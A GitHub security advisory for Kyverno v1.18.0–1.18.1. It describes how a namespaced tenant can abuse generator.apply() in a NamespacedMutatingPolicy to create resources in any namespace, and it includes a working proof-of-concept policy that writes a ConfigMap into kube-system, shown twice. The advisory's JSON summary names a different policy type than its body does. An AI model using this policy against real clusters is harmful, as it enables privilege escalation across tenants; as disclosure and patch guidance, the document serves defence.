GHSA-79GF-7FRW-68M9
Vulnerability from github – Published: 2026-08-26 14:21 – Updated: 2026-08-26 14:21Summary
In Kyverno v1.18.1, a tenant who can create a NamespacedMutatingPolicy in their own namespace can instruct the admission controller to generate resources in any namespace by passing an arbitrary namespace string to the CEL generator.apply(namespace, resources) function.
Details
pkg/cel/libs/context.go:177 declares GenerateResources(namespace string, dataList []map[string]any). The namespace argument arrives unvalidated from the CEL expression generator.apply("<target-namespace>", [...]).
Version-Specific Impact
v1.18.0, v1.18.1 (affected via NamespacedMutatingPolicy only):
The nmpol CEL compiler unintentionally exposes the generator library to match condition expressions. A namespaced mutating policy can invoke generator.apply() in a boolean CEL expression such as matchConditions, triggering the admission controller to generate resources in any namespace at request time. This side effect executes with the admission controller's cluster-wide privileges.
NamespacedGeneratingPolicy is not a vector in v1.18.1 due to incomplete webhook and background processing wiring (not registered or functional).
Root Cause
The admission validator for NamespacedMutatingPolicy (pkg/cel/policies/mpol/validate.go) only checks that the policy compiles and does not enforce namespace scope on generator.apply() arguments.
Compare correctly-guarded equivalents: pkg/engine/context/loaders/configmap.go:102 rejects cross-namespace ConfigMap references for namespaced policies, and pkg/engine/apicall/apicall.go:73-82 enforces namespace segment matching. GenerateResources has neither guard.
Proof of Concept
Prerequisites: namespace tenant-ns exists; attacker has create on namespacedmutatingpolicies.policies.kyverno.io in tenant-ns.
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedMutatingPolicy
metadata:
name: cross-ns-escalate
namespace: tenant-ns
spec:
matchConstraints:
resourceRules:
- apiGroups: [""]
apiVersions: ["v1"]
resources: ["configmaps"]
operations: ["CREATE"]
mutations:
- patchType: applyConfiguration
applyConfiguration:
expression: object
matchConditions:
- name: trigger-escalation
expression: |
generator.apply("kube-system", [
{
"apiVersion": dyn("v1"),
"kind": dyn("ConfigMap"),
"metadata": dyn({
"name": "kube-system-config",
"namespace": "kube-system"
}),
"data": dyn({
"injected-by": "tenant-policy",
"impact": "unauthorized access to kube-system namespace"
})
}
])
Apply the policy, then create any ConfigMap in tenant-ns to trigger the admission webhook. The admission controller creates configmap/kube-system-config in kube-system. By default, the admission controller has create on ConfigMaps in all namespaces.
Impact
A namespace-scoped user with create on NamespacedMutatingPolicy in >=v1.18.1 can create ConfigMaps, NetworkPolicies, Secrets, and other resources in any namespace using the admission controller's cluster-wide RBAC. This allows:
Injecting sensitive configuration into protected namespaces (e.g., kube-system, default)
Disrupting cluster networking via NetworkPolicies
Privilege escalation via RoleBinding creation (for roles the admission controller holds or lesser-privileged roles)
Privilege escalation via RoleBinding creation in other namespaces
Any installation that grants non-admin users access to NamespacedMutatingPolicy creation is affected.
Timeline
- 2026-05-20: Vulnerability reproduced on main
- 2026-07-13: CVE-2026-54523 / GHSA-79gf-7frw-68m9 published
- 2026-07-22: Advisory clarified to document actual v1.18.1 attack vector (NamespacedMutatingPolicy in matchConditions, not NamespacedGeneratingPolicy)
Advisory Update
This advisory was updated to clarify the v1.18.1 attack surface. The nmpol vector in matchConditions was the reachable attack path in v1.18.1, while ngpol lacked end-to-end plumbing. The CVE, patched version, and CVSS score remain unchanged. Original report by @0xVijay.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.18.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "1.18.0"
},
{
"fixed": "1.18.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54523"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T14:21:54Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nIn Kyverno v1.18.1, a tenant who can create a `NamespacedMutatingPolicy` in their own namespace can instruct the admission controller to generate resources in any namespace by passing an arbitrary namespace string to the CEL `generator.apply(namespace, resources)` function.\n\n## Details\n\n`pkg/cel/libs/context.go:177` declares `GenerateResources(namespace string, dataList []map[string]any)`. The `namespace` argument arrives unvalidated from the CEL expression `generator.apply(\"\u003ctarget-namespace\u003e\", [...])`.\n\n### Version-Specific Impact\n\n**v1.18.0, v1.18.1 (affected via NamespacedMutatingPolicy only):**\n\nThe nmpol CEL compiler unintentionally exposes the `generator` library to match condition expressions. A namespaced mutating policy can invoke `generator.apply()` in a boolean CEL expression such as `matchConditions`, triggering the admission controller to generate resources in any namespace at request time. This side effect executes with the admission controller\u0027s cluster-wide privileges.\n\nNamespacedGeneratingPolicy is **not** a vector in v1.18.1 due to incomplete webhook and background processing wiring (not registered or functional).\n\n### Root Cause\n\nThe admission validator for `NamespacedMutatingPolicy` (`pkg/cel/policies/mpol/validate.go`) only checks that the policy compiles and does not enforce namespace scope on `generator.apply()` arguments.\n\nCompare correctly-guarded equivalents: `pkg/engine/context/loaders/configmap.go:102` rejects cross-namespace ConfigMap references for namespaced policies, and `pkg/engine/apicall/apicall.go:73-82` enforces namespace segment matching. `GenerateResources` has neither guard.\n\n## Proof of Concept\n\nPrerequisites: namespace `tenant-ns` exists; attacker has `create` on `namespacedmutatingpolicies.policies.kyverno.io` in `tenant-ns`.\n\n```yaml\napiVersion: policies.kyverno.io/v1beta1\nkind: NamespacedMutatingPolicy\nmetadata:\n name: cross-ns-escalate\n namespace: tenant-ns\nspec:\n matchConstraints:\n resourceRules:\n - apiGroups: [\"\"]\n apiVersions: [\"v1\"]\n resources: [\"configmaps\"]\n operations: [\"CREATE\"]\n mutations:\n - patchType: applyConfiguration\n applyConfiguration:\n expression: object\n matchConditions:\n - name: trigger-escalation\n expression: |\n generator.apply(\"kube-system\", [\n {\n \"apiVersion\": dyn(\"v1\"),\n \"kind\": dyn(\"ConfigMap\"),\n \"metadata\": dyn({\n \"name\": \"kube-system-config\",\n \"namespace\": \"kube-system\"\n }),\n \"data\": dyn({\n \"injected-by\": \"tenant-policy\",\n \"impact\": \"unauthorized access to kube-system namespace\"\n })\n }\n ])\n```\n\nApply the policy, then create any ConfigMap in `tenant-ns` to trigger the admission webhook. The admission controller creates `configmap/kube-system-config` in `kube-system`. By default, the admission controller has `create` on ConfigMaps in all namespaces.\n\n## Impact\n\nA namespace-scoped user with `create` on `NamespacedMutatingPolicy` in \u003e=v1.18.1 can create ConfigMaps, NetworkPolicies, Secrets, and other resources in any namespace using the admission controller\u0027s cluster-wide RBAC. This allows:\n\nInjecting sensitive configuration into protected namespaces (e.g., `kube-system`, `default`)\nDisrupting cluster networking via NetworkPolicies\nPrivilege escalation via RoleBinding creation (for roles the admission controller holds or lesser-privileged roles)\nPrivilege escalation via RoleBinding creation in other namespaces\nAny installation that grants non-admin users access to `NamespacedMutatingPolicy` creation is affected.\n\n## Timeline\n\n* 2026-05-20: Vulnerability reproduced on main\n* 2026-07-13: CVE-2026-54523 / GHSA-79gf-7frw-68m9 published\n* 2026-07-22: Advisory clarified to document actual v1.18.1 attack vector (NamespacedMutatingPolicy in matchConditions, not NamespacedGeneratingPolicy)\n\n## Advisory Update\n\nThis advisory was updated to clarify the v1.18.1 attack surface. The nmpol vector in matchConditions was the reachable attack path in v1.18.1, while ngpol lacked end-to-end plumbing. The CVE, patched version, and CVSS score remain unchanged. Original report by @0xVijay.",
"id": "GHSA-79gf-7frw-68m9",
"modified": "2026-08-26T14:21:54Z",
"published": "2026-08-26T14:21:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/pull/16238"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/0919553c0ea1904f8d891280c92018da97946a06"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/5164bcdeda5b57678bc2d7a03ecc2cbb02982dae"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/sdk/commit/6573937441443e1ba5af9fbb28d5c0f20297f9df"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/releases/tag/v1.18.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kyverno\u0027s NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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